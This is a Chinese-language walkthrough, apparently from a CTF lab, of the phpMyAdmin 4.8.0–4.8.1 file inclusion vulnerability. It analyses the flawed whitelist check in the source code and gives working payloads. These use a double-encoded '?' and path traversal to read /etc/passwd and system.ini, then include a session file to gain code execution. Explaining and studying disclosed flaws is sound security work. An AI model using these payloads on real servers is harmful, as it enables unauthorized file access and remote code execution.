目录
漏洞背景介绍
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
ChaMd5安全团队披露了他们发现的一个phpMyAdmin文件包含漏洞,并且演示了如何将本地文件包含升级至远程命令执行。随后,phpmyadmin在最新版本修复了这个严重级别的漏洞
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:
$ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
$ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
影响版本:phpMyAdmin 4.8.0和4.8.1
漏洞产生
漏洞产生于inedx.php文件中
if (! empty($_REQUEST['target']) //target参数没有过滤,并且include直接调用
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target']) //限制 target 参数不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)//限制 target 参数不在黑名单内
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
限制 target 参数不能以index开头
限制 target 参数不在黑名单内
符合函数checkPageValidity() 验证
首先查看$target_blacklist:
$target_blacklist = array ( 'import.php', 'export.php' );跟进checkPageValidity()函数
phpMyAdmin-4.8.1-english\libraries\classes\Core.php 第443行开始
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true; //返回true的方式1
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true; //返回true的方式2
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true; //返回true的方式3
}
return false;
}
漏洞利用
根据以上代码可以知道,要想返回true有三个方法
第一个方法,直接对page参数判断是否在白名单内,无法利用
第二个方法,这个判断是对$page校验是否在白名单中,而$_page是将$page值末尾加上 ’?’ 后从字符串第0位开始分割,取其中第一次出现?之前的内容。这里不能用xxx.php?/../../../绕过,因为PHP中会把
?
后面的内容作为文件xxx.php
中的参数。第三个方法,先将$page进行urldecode解码,然后再进行?的分割,取值进行判断,只要解码后分割出来的值在$whitelist中即可满足条件。而在$target 里问号被二次编码为%253f, export.php%253f也会被认为是一个目录,可以用../跨越,成功实现包含。因此命名规范里面没有将%放进去也是该漏洞能在windows下成功利用的一个关键点。
payload:index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini
include $_REQUEST['target'];` 就变成 `include 'export.php%3f/../../../../../../../../../windows/system.ini'
漏洞验证
payload
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
我们需要包含session文件,直接执行 SELECT '<?=phpinfo()?>'; 即可! 然后包含自己的session文件即可!
我们成功执行代码后,右击检查,点击存储,获取phpmyadmin的session值!
默认缓存在/tmp目录哈!然后sess_sessionid 即可!
ctlr+f 搜索flag即可!
flag{0f701743-5cfd-4a20-84f7-55e38be0a61d}